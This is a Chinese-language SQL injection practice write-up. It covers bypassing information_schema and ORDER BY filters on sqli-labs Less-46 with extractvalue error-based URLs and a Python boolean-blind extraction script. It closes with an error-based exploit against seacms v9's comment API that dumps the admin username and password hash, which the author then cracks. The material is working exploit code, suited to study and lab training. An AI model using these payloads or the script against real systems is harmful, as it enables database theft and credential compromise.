SQL注入练习
目录
一、如何绕过 information schema 字段过滤注入
二、如何绕过 order by 语句过滤注入
三、seacmsv9 实现报错注入数据
一、如何绕过 information schema 字段过滤注入
1、使用其他系统表,不同数据库有各自的系统表,可替代information_schema。
2、使用盲注技术,布尔盲注(
通过页面响应的差异判断查询结果)或者时间盲注(
通过延时函数判断查询结果)。
3、使用报错注入获取其他表,
通过构造恶意查询,触发数据库错误,从错误信息中提取表结构。
4、使用联合查询猜测数据。
5、利用特殊字符或者不同编码混淆,试图绕过过滤。
二、如何绕过 order by 语句过滤注入
靶场第46关。
1、直接使用报错注入
数据库名:
http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,(select%20database()%20),0x7e)))
用户名:
http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,(select%20user()%20),0x7e)))
表名:
http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat((select%20group_concat(0x7e,table_name,0x7e)%20from%20information_schema.tables%20where%20table_schema=%27security%27))))
因为extractvalue只能容纳32个字节,我们需要将后面的字段截取出:
http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,substr((select%20group_concat(0x7e,table_name,0x7e)%20from%20information_schema.tables%20where%20table_schema=%27security%27),32,64))))
users表字段名:
http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat((select%20group_concat(0x7e,column_name,0x7e)%20from%20information_schema.columns%20where%20table_schema=%27security%27%20and%20table_name=%27users%27))))
users表用户名和密码:
同样因为extractvalue只能容纳32个字节,所以我们分开截取。
前32位:
http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,substr((select%20group_concat(username,0x3a,password)%20from%20users),1,32))))
33-64位:
http://192.168.58.5/Less-46/index.php?sort=(extractvalue(1,concat(0x7e,substr((select%20group_concat(username,0x3a,password)%20from%20users),32,64))))
后面的数据依次类推。
2、布尔盲注
编写python脚本:
import requests
from bs4 import BeautifulSoup
# 获取用户名的函数
def get_username(resp):
soup = BeautifulSoup(resp, 'html.parser')
try:
username = soup.select('body > div:nth-child(1) > font:nth-child(4) > tr > td:nth-child(2)')[0].text
except IndexError:
username = ""
return username
# 发送请求的函数
def send_request(payload):
try:
resp = requests.get(payload)
return resp
except requests.RequestException as e:
print(f"Request error: {e}")
return None
# 通用的注入函数,执行SQL注入并返回结果
def inject(url, query_template):
data = ''
i = 1
while True:
left = 32
right = 127
mid = (left + right) // 2
while left < right:
query = query_template.format(i=i, mid=mid)
payload = f"{url}{query}"
resp = send_request(payload)
if resp and 'Dumb' == get_username(resp.text):
left = mid + 1
else:
right = mid
mid = (left + right) // 2
if mid == 32:
break
data += chr(mid)
i += 1
return data
# 获取数据库名的函数
def inject_database(url):
query_template = "sort=if(ascii(substr(database(),{i},1))>{mid},id,username) -- "
database_name = inject(url, query_template)
print(f"数据库名: {database_name}")
# 获取表名的函数
def inject_tables(url):
query_template = "sort=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},id,username) -- "
tables = inject(url, query_template)
print(f"表名有: {tables}")
# 获取列名的函数
def inject_column(url, table_name):
# 在query中用format替代i和mid的静态引用,避免name error
query_template = f"sort=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'),{{i}},1))>{{mid}},id,username) -- "
columns = inject(url, query_template)
print(f"{table_name}表中的字段有: {columns}")
# 获取表数据的函数
def inject_data(url, table_name):
query_template = f"sort=if(ascii(substr((select group_concat(username,':',password) from {table_name}),{{i}},1))>{{mid}},id,username) -- "
user_data = inject(url, query_template)
if user_data == "":
print("该表中没有数据!")
else:
print(f"表{table_name}中的数据按照username:password的形式有: {user_data}")
# 主程序
if __name__ == '__main__':
url = 'http://192.168.58.5/Less-46/index.php?'
# 获取数据库名
inject_database(url)
# 获取表名
inject_tables(url)
# 获取表名后,输入具体表名
table_name = input("请输入需要获取数据的表名:")
# 获取表的列名
inject_column(url, table_name)
# 获取表的数据
inject_data(url, table_name)
代码效果:
三、seacmsv9 实现报错注入数据
seacmsv9的漏洞位置在文件目录下的comment\api\index.php中,漏洞参数是$rlist。
接下来开始报错注入:
数据库名:
http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,updatexml(1,concat_ws(0x7e,0x7e,database()),@`'`)
得知数据库名为seacms。
用户名:
http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`,updatexml(1,concat_ws(0x7e,0x7e,user()),@`'`)
得知用户名为:root@localhost。
第一个表名:
http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0atable_name%20from%23%0ainformation_schema.tables%20where%20table_schema%20=database()%20limit%200,1))),%20@`%27`
表明为:sea_admin。
字段名:
http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%201,1))),%20@`%27`
用户名为:name。
http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`%27`,%20extractvalue(1,concat_ws(0x7e,0x7e,(select%23%0acolumn_name%20from%23%0ainformation_schema.columns%20where%20table_schema%20=0x736561636d73%20and%20table_name=0x7365615f61646d696e%20limit%202,1))),%20@`%27`
密码字段为password。
用户名:
http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml (1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @`'`
用户名为admin。
密码:
http://192.168.58.6/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@`'`, updatexml (1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @`'`
密码为密文的 f297a57a5a743894a0e4。猜测为md5加密方式。解密后为admin。